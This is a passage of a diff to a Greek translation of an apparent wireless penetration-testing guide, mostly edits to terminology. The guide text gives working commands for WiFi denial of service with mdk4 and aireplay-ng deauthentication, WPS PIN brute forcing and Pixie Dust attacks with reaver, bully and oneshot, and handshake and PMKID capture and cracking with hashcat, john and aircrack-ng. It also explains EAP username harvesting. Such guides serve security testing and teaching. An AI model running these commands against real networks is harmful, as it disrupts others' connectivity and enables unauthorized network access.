# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
||||
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
```
|
||||
### **Περισσότερες επιθέσεις DOS από το mdk4**
|
||||
### **Περισσότερες επιθέσεις DOS από mdk4**
|
||||
|
||||
**Στο** [**εδώ**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
@ -134,9 +134,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**ΕΠΙΘΕΤΙΚΟΣ ΤΡΟΠΟΣ α: Άρνηση Υπηρεσίας Αυθεντικοποίησης**
|
||||
**ATTACK MODE a: Authentication Denial-Of-Service**
|
||||
|
||||
Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Σημεία Πρόσβασης (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν.
|
||||
Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Access Points (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν.
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
@ -144,13 +144,13 @@ mdk4 wlan0mon b -a -w nta -m
|
||||
# only -a or -i can be used
|
||||
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ p: Εξερεύνηση SSID και Βίαιη Διείσδυση**
|
||||
**ATTACK MODE p: SSID Probing and Bruteforcing**
|
||||
|
||||
Η εξερεύνηση Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με **βίαιη διείσδυση κρυφών SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυμμένα δίκτυα.
|
||||
Η διερεύνηση των Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με **bruteforcing κρυφών SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυφά δίκτυα.
|
||||
|
||||
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ m: Εκμετάλλευση Αντεμετώπισης Michael**
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τις Αντεμετώπισης Michael σε **TKIP APs**, οδηγώντας σε απενεργοποίηση του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Άρνηση Υπηρεσίας).
|
||||
Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τα Michael Countermeasures σε **TKIP APs**, οδηγώντας σε διακοπή του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Denial of Service).
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -174,7 +174,7 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ f: Packet Fuzzer**
|
||||
**ΕΠΙΘΕΤΙΚΟ ΜΟΝΤΕΛΟ f: Packet Fuzzer**
|
||||
|
||||
Ένας packet fuzzer με ποικιλία πηγών πακέτων και ένα ολοκληρωμένο σύνολο τροποποιητών για την επεξεργασία πακέτων.
|
||||
|
||||
@ -195,7 +195,7 @@ _**Airgeddon**_ προσφέρει τις περισσότερες από τις
|
||||
- **Reaver** έχει σχεδιαστεί για να είναι μια ισχυρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί σε μια ευρεία ποικιλία σημείων πρόσβασης και υλοποιήσεων WPS.
|
||||
- **Bully** είναι μια **νέα υλοποίηση** της επίθεσης brute force WPS, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα reaver: λιγότερες εξαρτήσεις, βελτιωμένη μνήμη και απόδοση CPU, σωστή διαχείριση του endianness, και ένα πιο ισχυρό σύνολο επιλογών.
|
||||
|
||||
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι αμυντικές στρατηγικές κατά των επιθέσεων brute-force, όπως ο **φραγμός διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση.
|
||||
Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι άμυνες κατά των επιθέσεων brute-force, όπως **το μπλοκάρισμα διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση.
|
||||
|
||||
Αφού αποκτήσει το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας **μόνιμη πρόσβαση στο δίκτυο**.
|
||||
```bash
|
||||
@ -206,19 +206,19 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
|
||||
Αυτή η εκλεπτυσμένη προσέγγιση στοχεύει σε WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:
|
||||
|
||||
1. **Προκατασκευασμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που σχετίζονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
|
||||
2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία δημιουργίας PIN.
|
||||
1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που σχετίζονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC-διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
|
||||
2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως οι ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC-διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία γεννήτριας PIN.
|
||||
|
||||
### Επίθεση WPS Pixie Dust
|
||||
|
||||
**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η παραβίαση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για να ξεκλειδώσουν το "χρηματοκιβώτιο" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
||||
|
||||
Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διάρκεια της διαδικασίας σύνδεσης. Αυτό καθιστά το PIN ευάλωτο σε μαντεψιά από έξω από το δίκτυο (offline brute force attack).
|
||||
Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διαδικασία σύνδεσης. Αυτό καθιστά το PIN ευάλωτο σε μαντεψιά από έξω από το δίκτυο (offline brute force attack).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
Αν δεν θέλετε να αλλάξετε τη συσκευή σε λειτουργία παρακολούθησης, ή αν το `reaver` και το `bully` έχουν κάποιο πρόβλημα, μπορείτε να δοκιμάσετε [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Αυτό το εργαλείο μπορεί να εκτελέσει την επίθεση Pixie Dust χωρίς να χρειάζεται να αλλάξετε σε λειτουργία παρακολούθησης.
|
||||
Αν δεν θέλετε να αλλάξετε τη συσκευή σε λειτουργία παρακολούθησης, ή αν το `reaver` και το `bully` έχουν κάποιο πρόβλημα, μπορείτε να δοκιμάσετε [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Αυτό το εργαλείο μπορεί να εκτελέσει επίθεση Pixie Dust χωρίς να χρειάζεται να αλλάξετε σε λειτουργία παρακολούθησης.
|
||||
```bash
|
||||
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
||||
```
|
||||
@ -237,12 +237,12 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
- 5 και 6 σας επιτρέπουν να δοκιμάσετε **το δικό σας PIN** (αν έχετε)
|
||||
- 7 και 8 εκτελούν την **επίθεση Pixie Dust**
|
||||
- 13 σας επιτρέπει να δοκιμάσετε το **NULL PIN**
|
||||
- 11 και 12 θα **ανακτήσουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PIN** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
|
||||
- 11 και 12 θα **συλλέξουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PINs** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
|
||||
- 9 και 10 θα δοκιμάσουν **κάθε πιθανό PIN**
|
||||
|
||||
## **WEP**
|
||||
|
||||
Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι το _**airgeddon**_ έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Πολλά εργαλεία προσφέρουν παρόμοιες επιλογές.
|
||||
Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι _**airgeddon**_ έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Πολλά εργαλεία προσφέρουν παρόμοιες επιλογές.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -277,7 +277,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
Τα **PMKIDs που καταγράφηκαν** θα εμφανιστούν στην **κονσόλα** και επίσης θα **αποθηκευτούν** μέσα στο \_ **/tmp/attack.pcap**\_\
|
||||
Τώρα, μετατρέψτε την καταγραφή σε **hashcat/john** μορφή και σπάστε την:
|
||||
Τώρα, μετατρέψτε την καταγραφή σε μορφή **hashcat/john** και σπάστε την:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
@ -293,14 +293,14 @@ hccap2john pmkid.hccapx > handshake.john
|
||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_Έχω παρατηρήσει ότι μερικοί από τους χειραγωγούς που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να σπάσουν ακόμη και γνωρίζοντας τον σωστό κωδικό. Θα συνιστούσα να καταγράφετε τους χειραγωγούς και με παραδοσιακό τρόπο αν είναι δυνατόν, ή να καταγράφετε αρκετούς από αυτούς χρησιμοποιώντας αυτό το εργαλείο._
|
||||
_Έχω παρατηρήσει ότι μερικά handshakes που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να σπάσουν ακόμη και γνωρίζοντας τον σωστό κωδικό. Θα συνιστούσα να καταγράφετε handshakes και με παραδοσιακό τρόπο αν είναι δυνατόν, ή να καταγράφετε αρκετά από αυτά χρησιμοποιώντας αυτό το εργαλείο._
|
||||
|
||||
### Καταγραφή χειραγωγών
|
||||
### Καταγραφή Handshake
|
||||
|
||||
Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας έναν **χειραγωγό** και προσπαθώντας να **σπάσει** τον κωδικό **εκτός σύνδεσης**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε ένα συγκεκριμένο **κανάλι**. Ακολουθεί ένας απλός οδηγός:
|
||||
Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας ένα **handshake** και προσπαθώντας να **σπάσει** τον κωδικό **offline**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε μια συγκεκριμένη **κανάλι**. Ακολουθεί ένας απλός οδηγός:
|
||||
|
||||
1. Εντοπίστε το **BSSID**, το **κανάλι** και έναν **συνδεδεμένο πελάτη** του στοχευόμενου δικτύου.
|
||||
2. Χρησιμοποιήστε `airodump-ng` για να παρακολουθήσετε την κυκλοφορία του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε έναν χειραγωγό. Η εντολή θα έχει ως εξής:
|
||||
2. Χρησιμοποιήστε `airodump-ng` για να παρακολουθήσετε την κυκλοφορία του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε ένα handshake. Η εντολή θα έχει ως εξής:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
@ -310,15 +310,15 @@ aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may no
|
||||
```
|
||||
_Σημειώστε ότι καθώς ο πελάτης αποεξουσιοδοτήθηκε, θα μπορούσε να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό δίκτυο._
|
||||
|
||||
Μόλις στο `airodump-ng` εμφανιστούν κάποιες πληροφορίες χειραψίας, αυτό σημαίνει ότι η χειραψία έχει καταγραφεί και μπορείτε να σταματήσετε να ακούτε:
|
||||
Μόλις στο `airodump-ng` εμφανιστούν κάποιες πληροφορίες handshake, αυτό σημαίνει ότι το handshake έχει καταγραφεί και μπορείτε να σταματήσετε να ακούτε:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Μόλις η χειραψία καταγραφεί, μπορείτε να **σπάσετε** αυτήν με το `aircrack-ng`:
|
||||
Μόλις το handshake καταγραφεί, μπορείτε να **σπάσετε** αυτό με το `aircrack-ng`:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
### Έλεγχος αν υπάρχει handshake στο αρχείο
|
||||
### Έλεγχος αν το handshake είναι στο αρχείο
|
||||
|
||||
**aircrack**
|
||||
```bash
|
||||
@ -346,7 +346,7 @@ pyrit -r psk-01.cap analyze
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- Αυτή η μέθοδος υποστηρίζει υλικό tokens και κωδικούς μίας χρήσης εντός του EAP-PEAP. Σε αντίθεση με το MSCHAPv2, δεν χρησιμοποιεί πρόκληση από ομότιμο και στέλνει τους κωδικούς σε απλό κείμενο στο σημείο πρόσβασης, θέτοντας σε κίνδυνο επιθέσεις υποβάθμισης.
|
||||
- Αυτή η μέθοδος υποστηρίζει υλικό tokens και κωδικούς μίας χρήσης εντός του EAP-PEAP. Σε αντίθεση με το MSCHAPv2, δεν χρησιμοποιεί πρόκληση από τον συμμετέχοντα και στέλνει τους κωδικούς σε απλό κείμενο στο σημείο πρόσβασης, θέτοντας σε κίνδυνο επιθέσεις υποβάθμισης.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Περιλαμβάνει την αποστολή του MD5 hash του κωδικού από τον πελάτη. **Δεν συνιστάται** λόγω ευπάθειας σε επιθέσεις λεξικού, έλλειψης αυθεντικοποίησης διακομιστή και αδυναμίας δημιουργίας κλειδιών WEP συγκεκριμένων για τη συνεδρία.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
@ -360,7 +360,7 @@ pyrit -r psk-01.cap analyze
|
||||
|
||||
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις μεθόδους αυθεντικοποίησης [εδώ](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) και [εδώ](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
||||
|
||||
### Συλλογή Ονομάτων Χρήστη
|
||||
### Συλλογή Ονομάτων Χρηστών
|
||||
|
||||
Διαβάζοντας [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) φαίνεται ότι αν χρησιμοποιείτε **EAP** τα **"Identity"** **μηνύματα** πρέπει να είναι **υποστηριζόμενα**, και το **όνομα χρήστη** θα σταλεί σε **καθαρό** στα **"Response Identity"** μηνύματα.
|
||||
|
||||
@ -371,25 +371,25 @@ pyrit -r psk-01.cap analyze
|
||||
|
||||
### Ανώνυμες Ταυτότητες
|
||||
|
||||
Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις βασικές πληροφορίες που απαιτούνται για την αρχική επεξεργασία του αιτήματος από τον διακομιστή RADIUS. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων:
|
||||
Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που απαιτούνται για την αρχική επεξεργασία του αιτήματος από τον διακομιστή RADIUS. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων:
|
||||
|
||||
- EAP-Identity = ανώνυμος
|
||||
- Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "ανώνυμος" ως αναγνωριστικό χρήστη τους. Ο αρχικός διακομιστής RADIUS λειτουργεί είτε ως διακομιστής EAP-PEAP είτε EAP-TTLS, υπεύθυνος για τη διαχείριση της πλευράς του διακομιστή του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (προστατευμένη) μέθοδος αυθεντικοποίησης διαχειρίζεται είτε τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (οικιακό) διακομιστή RADIUS.
|
||||
- EAP-Identity = ανώνυμος@realm_x
|
||||
- Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστής PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS.
|
||||
- EAP-Identity = anonymous
|
||||
- Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "anonymous" ως αναγνωριστικό χρήστη τους. Ο αρχικός διακομιστής RADIUS λειτουργεί είτε ως διακομιστής EAP-PEAP είτε EAP-TTLS, υπεύθυνος για τη διαχείριση της πλευράς του διακομιστή του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (προστατευμένη) μέθοδος αυθεντικοποίησης διαχειρίζεται είτε τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (οικιακό) διακομιστή RADIUS.
|
||||
- EAP-Identity = anonymous@realm_x
|
||||
- Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστές PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS.
|
||||
- Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να διαχειριστεί την προστατευμένη μέθοδο αυθεντικοποίησης είτε να την προωθήσει σε άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms.
|
||||
|
||||
Στο EAP-PEAP, μόλις το τούνελ TLS έχει καθιερωθεί μεταξύ του διακομιστή PEAP και του πελάτη PEAP, ο διακομιστής PEAP ξεκινά ένα αίτημα EAP-Identity και το μεταδίδει μέσω του τούνελ TLS. Ο πελάτης απαντά σε αυτό το δεύτερο αίτημα EAP-Identity στέλνοντας μια απάντηση EAP-Identity που περιέχει την αληθινή ταυτότητα του χρήστη μέσω του κρυπτογραφημένου τούνελ. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε παρακολουθεί την κίνηση 802.11.
|
||||
Στο EAP-PEAP, μόλις το τούνελ TLS έχει καθοριστεί μεταξύ του διακομιστή PEAP και του πελάτη PEAP, ο διακομιστής PEAP ξεκινά ένα αίτημα EAP-Identity και το μεταδίδει μέσω του τούνελ TLS. Ο πελάτης απαντά σε αυτό το δεύτερο αίτημα EAP-Identity στέλνοντας μια απάντηση EAP-Identity που περιέχει την αληθινή ταυτότητα του χρήστη μέσω του κρυπτογραφημένου τούνελ. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε παρακολουθεί την κίνηση 802.11.
|
||||
|
||||
Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο πελάτης συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, ασφαλισμένο από το τούνελ TLS. Σε αυτή την περίπτωση, ο πελάτης περιλαμβάνει ένα χαρακτηριστικό User-Name και είτε ένα Password είτε ένα CHAP-Password χαρακτηριστικό στο αρχικό μήνυμα TLS που αποστέλλεται μετά την καθιέρωση του τούνελ.
|
||||
Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο πελάτης συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, ασφαλισμένο από το τούνελ TLS. Σε αυτή την περίπτωση, ο πελάτης περιλαμβάνει ένα χαρακτηριστικό User-Name και είτε ένα Password είτε ένα CHAP-Password χαρακτηριστικό στο αρχικό μήνυμα TLS που αποστέλλεται μετά την εγκαθίδρυση του τούνελ.
|
||||
|
||||
Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Εάν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από το TTLS), το User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.
|
||||
Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθοριστεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Εάν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από το TTLS), τα χαρακτηριστικά User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
### EAP-Bruteforce (password spray)
|
